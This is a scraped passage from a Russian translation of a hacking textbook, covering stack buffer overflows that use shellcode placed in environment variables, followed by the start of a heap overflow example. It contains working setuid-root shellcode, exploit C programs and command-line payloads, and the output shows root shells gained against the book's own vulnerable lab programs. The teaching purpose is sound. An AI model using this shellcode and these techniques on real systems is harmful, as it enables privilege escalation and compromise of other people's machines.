Главная страница
Навигация по странице:

  • 0xbffffd56: “SHELLCODE=”, ‘\220’ ...

  • Фрагмент libc-2.2.2 int system(const char * cmd){ int ret, pid, waitstat; void (*sigint) (), (*sigquit) (); if ((pid = fork()) == 0) {

  • 0x340 Переполнения в других сегментах

  • 0x341 Типичное переполнение в куче

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница19 из 51
    1   ...   15   16   17   18   19   20   21   22   ...   51

    MYVAR=test
    LESSCLOSE=/usr/bin/lesspipe %s %s
    RUNNING_UNDER_GDM=yes

    166
    0x300 Эксплойты
    COLORTERM=gnome-terminal
    XAUTHORITY=/home/reader/.Xauthority
    _=/usr/bin/env reader@hacking:

    /booksrc $
    Подобным же образом шелл-код можно поместить в переменную окру- жения, но сначала его нужно представить в таком формате, чтобы с ним можно было работать. Можно воспользоваться шелл-кодом эксплойта
    notesearch, нужно только поместить его в файл в двоичном виде. Вы- делить байты шелл-кода в шестнадцатеричном представлении можно с помощью стандартных средств оболочки head, grep и cut.
    reader@hacking:/booksrc $ head exploit_notesearch.c
    #include
    #include
    #include
    char shellcode[]=
    “\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
    “\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
    “\xe1\xcd\x80”;
    int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    reader@hacking:/booksrc $ head exploit_notesearch.c | grep “^\””
    “\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
    “\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
    “\xe1\xcd\x80”;
    reader@hacking:/booksrc $ head exploit_notesearch.c | grep “^\”” | cut -d\” -f2
    \x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68
    \x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89
    \xe1\xcd\x80
    reader@hacking:/booksrc $
    Первые 10 строк программы посылаются на вход grep, которая пока- жет только те строки, которые начинаются с кавычки. Тем самым бу- дут выделены строки, содержащие шелл-код, и переданы на вход cut с опциями для показа только байтов между двумя кавычками.
    После этого можно воспользоваться циклом for в оболочке BASH, чтобы отправить каждую из этих строк команде echo с опциями ко- мандной строки, включающими интерпретацию шестнадцатерично- го представления и подавляющими вывод в конце символа перевода строки.
    reader@hacking:/booksrc $ for i in $(head exploit_notesearch.c | grep “^\””
    | cut -d\” -f2)
    > do
    > echo -en $i
    > done > shellcode.bin reader@hacking:/booksrc $ hexdump -C shellcode.bin
    00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|

    0x330 Эксперименты с BASH
    167
    00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
    00000020 e1 cd 80 |...|
    00000023
    reader@hacking:/booksrc $
    В результате мы получили файл shellcode.bin, содержащий шелл-код.
    Теперь, воспользовавшись подстановкой команд, можно поместить в переменную окружения шелл-код вместе с довольно длинной NOP- цепочкой.
    reader@hacking:/booksrc $ export SHELLCODE=$(perl -e ‘print “\
    x90”x200’)$(cat shellcode.bin)
    reader@hacking:/booksrc $ echo $SHELLCODE
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□1□1□1□□□ j
    XQh//shh/bin
    □□Q□□S□□
    reader@hacking:/booksrc $
    Вот таким образом шелл-код оказался в стеке в переменной окружения вместе с 200-байтной NOP-цепочкой. Теперь нам нужно лишь найти адрес любого места в этой цепочке и записать его на место адреса воз- врата. Переменные окружения находятся в нижней части стека, кото- рую мы изучим, запустив notesearch в отладчике.
    reader@hacking:/booksrc $ gdb -q ./notesearch
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) break main
    Breakpoint 1 at 0x804873c
    (gdb) run
    Starting program: /home/reader/booksrc/notesearch
    Breakpoint 1, 0x0804873c in main ()
    (gdb)
    Устанавливаем точку останова в начало main() и запускаем программу.
    Память программы будет настроена, но прежде чем выполнятся какие- то действия, произойдет останов. Теперь можно посмотреть, что нахо- дится внизу стека.
    (gdb) i r esp esp 0xbffff660 0xbffff660
    (gdb) x/24s $esp + 0x240 0xbffff8a0: “”
    0xbffff8a1: “”
    0xbffff8a2: “”
    0xbffff8a3: “”
    0xbffff8a4: “”
    0xbffff8a5: “”
    0xbffff8a6: “”
    0xbffff8a7: “”

    168
    0x300 Эксплойты
    0xbffff8a8: “”
    0xbffff8a9: “”
    0xbffff8aa: “”
    0xbffff8ab: “i686”
    0xbffff8b0: “/home/reader/booksrc/notesearch”
    0xbffff8d0: “SSH_AGENT_PID=7531”
    0xbffffd56: “SHELLCODE=”, ‘\220’ ...
    0xbffff9ab: “\220\220\220\220\220\220\220\220\220\2201
    �
    1
    �
    1
    �
    \231
    ���
    \200j\vXQh//shh/bin\211
    �
    Q\211
    �
    S\211
    ��
    \200”
    0xbffff9d9: “TERM=xterm”
    0xbffff9e4: “DESKTOP_STARTUP_ID=”
    0xbffff9f8: “SHELL=/bin/bash”
    0xbffffa08: “GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2”
    0xbffffa43: “WINDOWID=39845969”
    0xbffffa55: “USER=reader”
    0xbffffa61:
    “LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;
    33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;
    44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=0”...
    0xbffffb29:
    “1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.
    deb=01;31:*.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.
    bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=0”...
    (gdb) x/s 0xbffff8e3 0xbffff8e3: “SHELLCODE=”, ‘\220’ ...
    (gdb) x/s 0xbffff8e3 + 100 0xbffff947: ‘\220’ , 1
    �
    1
    �
    1
    �
    \231
    ���
    \200j\
    vXQh//shh/bin\211
    �
    Q\211
    �
    S\211
    ��
    \200”
    (gdb)
    Отладчик выводит местонахождение шелл-кода (выше выделено по- лужирным). (При запуске программы вне отладчика адреса могут не- сколько отличаться.) Отладчик размещает в стеке некоторые данные, поэтому адреса немного сдвигаются. Но когда в цепочке есть 200 ко- манд NOP и выбирается адрес около ее середины, такие расхождения не- существенны.
    Как видно по листингу, адрес 0xbffff947 находится близко к середине
    NOP-цепочки и должен оставить достаточно места для маневра. После определения адреса команд внедренного шелл-кода остается только за- писать его на место адреса возврата.
    reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\x47\xf9\xff\
    xbf”x40’)
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    -------[ end of note data ]------- sh-3.2# whoami root sh-3.2#

    0x330 Эксперименты с BASH
    169
    Нужный нам адрес повторяется столько раз, сколько нужно, чтобы за- местить адрес возврата: выполнение возвратится в NOP-цепочку, на- ходящуюся в переменной окружения, и неизбежно дойдет до шелл- кода. В тех случаях, когда размера переполняемого буфера недостаточ- но для хранения шелл-кода, можно с успехом использовать перемен- ную окружения с длинной NOP-цепочкой. Обычно это значительно об- легчает осуществление эксплойта.
    Длинная NOP-цепочка весьма полезна, если приходится гадать о том, каким должен быть адрес возврата, однако оказывается, что место- положение переменных окружения определить проще, чем локаль- ных переменных в стеке. В стандартной библиотеке C есть функция getenv()
    , которая принимает в качестве аргумента имя переменной окружения и возвращает адрес этой переменной в памяти. Использо- вание getenv() иллюстрирует код getenv_example.c.
    getenv_example.c
    #include
    #include
    int main(int argc, char *argv[]) {
    printf(“%s is at %p\n”, argv[1], getenv(argv[1]));
    }
    После компиляции и запуска эта программа выводит адрес заданной переменной окружения. Это позволяет гораздо точнее предсказать адрес этой переменной окружения при запуске программы.
    reader@hacking:/booksrc $ gcc getenv_example.c reader@hacking:/booksrc $ ./a.out SHELLCODE
    SHELLCODE is at 0xbffff90b reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\x0b\xf9\xff\
    xbf”x40’)
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    -------[ end of note data ]------- sh-3.2#
    Такой точности достаточно при длинной NOP-цепочке, но если попы- таться проделать то же самое без цепочки, программа аварийно завер- шится. Это означает, что предсказание среды окружения пока неудо- влетворительно.
    reader@hacking:/booksrc $ export SLEDLESS=$(cat shellcode.bin)
    reader@hacking:/booksrc $ ./a.out SLEDLESS
    SLEDLESS is at 0xbfffff46
    reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\x46\xff\xff\
    xbf”x40’)
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999

    170
    0x300 Эксплойты
    -------[ end of note data ]-------
    Segmentation fault reader@hacking:/booksrc $
    Чтобы вычислить точный адрес в памяти, нужно исследовать, насколь- ко различаются адреса. Можно предположить, что адрес переменных окружения зависит от длины имени программы. Чтобы это проверить, изменим имя программы и посмотрим, что при этом произойдет. Ха- кер должен уметь проводить такие эксперименты и отыскивать зако- номерности.
    reader@hacking:/booksrc $ cp a.out a reader@hacking:/booksrc $ ./a SLEDLESS
    SLEDLESS is at 0xbfffff4e reader@hacking:/booksrc $ cp a.out bb reader@hacking:/booksrc $ ./bb SLEDLESS
    SLEDLESS is at 0xbfffff4c reader@hacking:/booksrc $ cp a.out ccc reader@hacking:/booksrc $ ./ccc SLEDLESS
    SLEDLESS is at 0xbfffff4a reader@hacking:/booksrc $ ./a.out SLEDLESS
    SLEDLESS is at 0xbfffff46
    reader@hacking:/booksrc $ gdb -q
    (gdb) p 0xbfffff4e - 0xbfffff46
    $1 = 8
    (gdb) quit reader@hacking:/booksrc $
    Как показывает эксперимент, длина имени выполняемой программы влияет на адреса экспортируемых переменных окружения. Прослежи- вается такая закономерность: если увеличить длину имени программы на один байт, то адрес переменной окружения уменьшается на два бай- та. Это справедливо для имени a.out, поскольку a.out длиннее a на че- тыре байта, а разница между адресами 0xbfffff4e и 0xbfffff46 – восемь байт. Наверное, имя выполняемой программы тоже хранится где-то в стеке, что и вызывает сдвиг.
    Выяснив это, можно в точности предсказать адрес переменной окруже- ния при выполнении уязвимой программы. Это означает, что можно избавиться от костыля в виде NOP-цепочки. В программе getenvaddr.c адрес возврата корректируется в зависимости от длины имени про- граммы и вычисляется очень точно.
    getenvaddr.c
    #include
    #include
    #include
    int main(int argc, char *argv[]) {
    char *ptr;

    0x330 Эксперименты с BASH
    171
    if(argc < 3) {
    printf(“Usage: %s \n”, argv[0]);
    exit(0);
    }
    ptr = getenv(argv[1]); /* Получить адрес переменной окружения. */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Исправить с учетом имени программы. */
    printf(“%s will be at %p\n”, argv[1], ptr);
    }
    После компиляции эта программа точно предсказывает, где будет на- ходиться переменная окружения во время выполнения целевой про- граммы. Это позволяет осуществлять эксплойты, основанные на пере- полнении буфера в стеке, не прибегая к NOP-цепочкам.
    reader@hacking:/booksrc $ gcc -o getenvaddr getenvaddr.c reader@hacking:/booksrc $ ./getenvaddr SLEDLESS ./notesearch
    SLEDLESS will be at 0xbfffff3c reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\x3c\xff\xff\
    xbf”x40’)
    [DEBUG] found a 34 byte note for user id 999
    [DEBUG] found a 41 byte note for user id 999
    Как видим, для эксплойта программ не всегда нужен код эксплой- та. Воспользовавшись переменными окружения, можно значительно упростить себе жизнь и осуществлять эксплойт из командной строки, а кроме того, сделать код эксплойта более надежным.
    В программе notesearch_exploit.c для выполнения команды исполь- зуется функция system(). Она запускает новый процесс и выполняет команду с помощью /bin/sh -c. Параметр -c предписывает програм- ме sh выполнить команду в переданном ей аргументе командной стро- ки. Служба поиска кода в Google поможет найти исходный код этой функции, из которого мы узнаем больше подробностей. Откройте
    http://www.google.com/codesearch?q=package:libc+system, и вы увиди- те этот код целиком.
    Фрагмент libc-2.2.2
    int system(const char * cmd)
    {
    int ret, pid, waitstat;
    void (*sigint) (), (*sigquit) ();
    if ((pid = fork()) == 0) {
    execl(“/bin/sh”, “sh”, “-c”, cmd, NULL);
    exit(127);
    }
    if (pid < 0) return(127 << 8);
    sigint = signal(SIGINT, SIG_IGN);
    sigquit = signal(SIGQUIT, SIG_IGN);
    while ((waitstat = wait(&ret)) != pid && waitstat != -1);

    172
    0x300 Эксплойты if (waitstat == -1) ret = -1;
    signal(SIGINT, sigint);
    signal(SIGQUIT, sigquit);
    return(ret);
    }
    Важнейшая часть этой функции выделена полужирным. Функция fork()
    запускает новый процесс, а функция execl() служит для выпол- нения команды посредством /bin/sh с надлежащими аргументами ко- мандной строки.
    Применение system() может вызывать проблемы. Если system() вызы- вается из программы с флагом setuid, права доступа ей не передаются потому что начиная с версии 2 /bin/sh опускает права. К нашему экс- плойту это не относится, но ему вообще нет необходимости запускать новый процесс. Можно не обращать внимания на fork() и сосредото- читься на выполнении команд с помощью execl().
    Функция execl() входит в семейство функций, которые выполняют ко- манды, заменяя текущий процесс новым. В качестве аргументов функ- ция execl() принимает путь к требуемой программе, за которым сле- дуют все аргументы командной строки. Вторым аргументом функции фактически является нулевой аргумент командной строки, который представляет собой имя программы. Последним аргументом является
    NULL, что означает конец списка аргументов, так же как нулевой байт служит концом строки.
    У функции execl() есть родственная функция execle() – она принимает один дополнительный аргумент, который определяет окружение для процесса, выполняющего команду. Окружение представлено в виде массива указателей на оканчивающиеся нулями строки для каждой из переменных окружения, а сам массив заканчивается указателем
    NULL.
    При вызове execl() используется имеющееся окружение, а при вызо- ве execle() можно задать его целиком заново. Если массив перемен- ных окружения состоит лишь из строки shellcode и нулевого указате- ля, завершающего список, единственной переменной окружения будет shellcode
    . В таком случае легко определить ее адрес. В Linux адрес ра- вен 0xbffffffa минус длина shellcode в окружении минус длина имени выполняемой программы. Это точный адрес, и NOP-цепочка не нужна.
    Все, что нужно в буфере эксплойта, это адрес, повторенный достаточ- ное число раз для того, чтобы заместить адрес возврата в стеке, как по- казано в листинге exploit_nosearch_env.c.
    exploit_notesearch_env.c
    #include
    #include
    #include

    0x340 Переполнения в других сегментах
    173
    #include
    char shellcode[]=
    “\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68”
    “\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89”
    “\xe1\xcd\x80”;
    int main(int argc, char *argv[]) {
    char *env[2] = {shellcode, 0};
    unsigned int i, ret;
    char *buffer = (char *) malloc(160);
    ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen(“./notesearch”);
    for(i=0; i < 160; i+=4)
    *((unsigned int *)(buffer+i)) = ret;
    execle(“./notesearch”, “notesearch”, buffer, 0, env);
    free(buffer);
    }
    Такой эксплойт надежнее, потому что ему не нужны NOP-цепочка и догадки относительно смещения. Он также не запускает дополни- тельные процессы.
    reader@hacking:/booksrc $ gcc exploit_notesearch_env.c reader@hacking:/booksrc $ ./a.out
    -------[ end of note data ]------- sh-3.2#
    0x340 Переполнения в других сегментах
    Помимо переполнений в стеке возможны переполнения буфера в дру- гих сегментах – кучи и bss. Как и в auth_overflow.c, если важные пере- менные расположены в памяти после буфера, который может перепол- ниться, появляется возможность изменить порядок выполнения про- граммы. Это не зависит от того, в каком сегменте располагаются пере- менные, однако возможности управления программой при этом весь- ма ограничены. Для того чтобы найти такие критические точки и мак- симально их использовать, нужны опыт и творческий подход. Этот тип переполнений менее стандартизирован, чем переполнения в стеке, но они могут оказаться не менее эффективными.
    0x341 Типичное переполнение в куче
    Программа notetaker из главы 2 (0х200) также уязвима для перепол- нения буфера. В ней есть два буфера, размещаемых в куче, и первый аргумент командной строки копируется в первый буфер. При этом мо- жет возникнуть переполнение.

    174
    0x300 Эксплойты
    Фрагмент notetaker.c
    buffer = (char *) ec_malloc(100);
    datafile = (char *) ec_malloc(20);
    strcpy(datafile, “/var/notes”);
    if(argc < 2) // Если нет аргументов командной строки,
    usage(argv[0], datafile); // вывести сообщение об использовании и завершить работу.
    strcpy(buffer, argv[1]); // Скопировать аргумент в буфер.
    printf(“[DEBUG] buffer @ %p: \’%s\’\n”, buffer, buffer);
    printf(“[DEBUG] datafile @ %p: \’%s\’\n”, datafile, datafile);
    В обычных условиях память для buffer выделяется начиная с адреса
    0x804a008
    , то есть раньше, чем память для datafile по адресу 0x804a070, как показывает вывод отладчика. Между этими двумя адресами
    104 байта.
    reader@hacking:/booksrc $ ./notetaker test
    [DEBUG] buffer @ 0x804a008: ‘test’
    [DEBUG] datafile @ 0x804a070: ‘/var/notes’
    [DEBUG] file descriptor is 3
    Note has been saved.
    reader@hacking:/booksrc $ gdb -q
    (gdb) p 0x804a070 - 0x804a008
    $1 = 104
    (gdb) quit reader@hacking:/booksrc $
    Поскольку первый буфер заканчивается нулевым байтом, максималь- ное количество данных, которые можно записать в него без переполне- ния в следующую переменную, – 104 байта.
    reader@hacking:/booksrc $ ./notetaker $(perl -e ‘print “A”x104’)
    [DEBUG] buffer @ 0x804a008: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’
    [DEBUG] datafile @ 0x804a070: ‘’
    [!!] Fatal Error in main() while opening file: No such file or directory reader@hacking:/booksrc $
    Как и ожидалось, после записи 104 байт нулевой байт окончания стро- ки переходит в начало буфера datafile. В результате datafile оказы- вается единственным нулевым байтом, который невозможно открыть как файл. Но что если заместить буфер datafile чем-то большим, чем просто нулевой байт?
    reader@hacking:/booksrc $ ./notetaker $(perl -e ‘print “A”x104 .
    “testfile”’)
    [DEBUG] buffer @ 0x804a008: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile’
    [DEBUG] datafile @ 0x804a070: ‘testfile’

    0x340 Переполнения в других сегментах
    1   ...   15   16   17   18   19   20   21   22   ...   51


    написать администратору сайта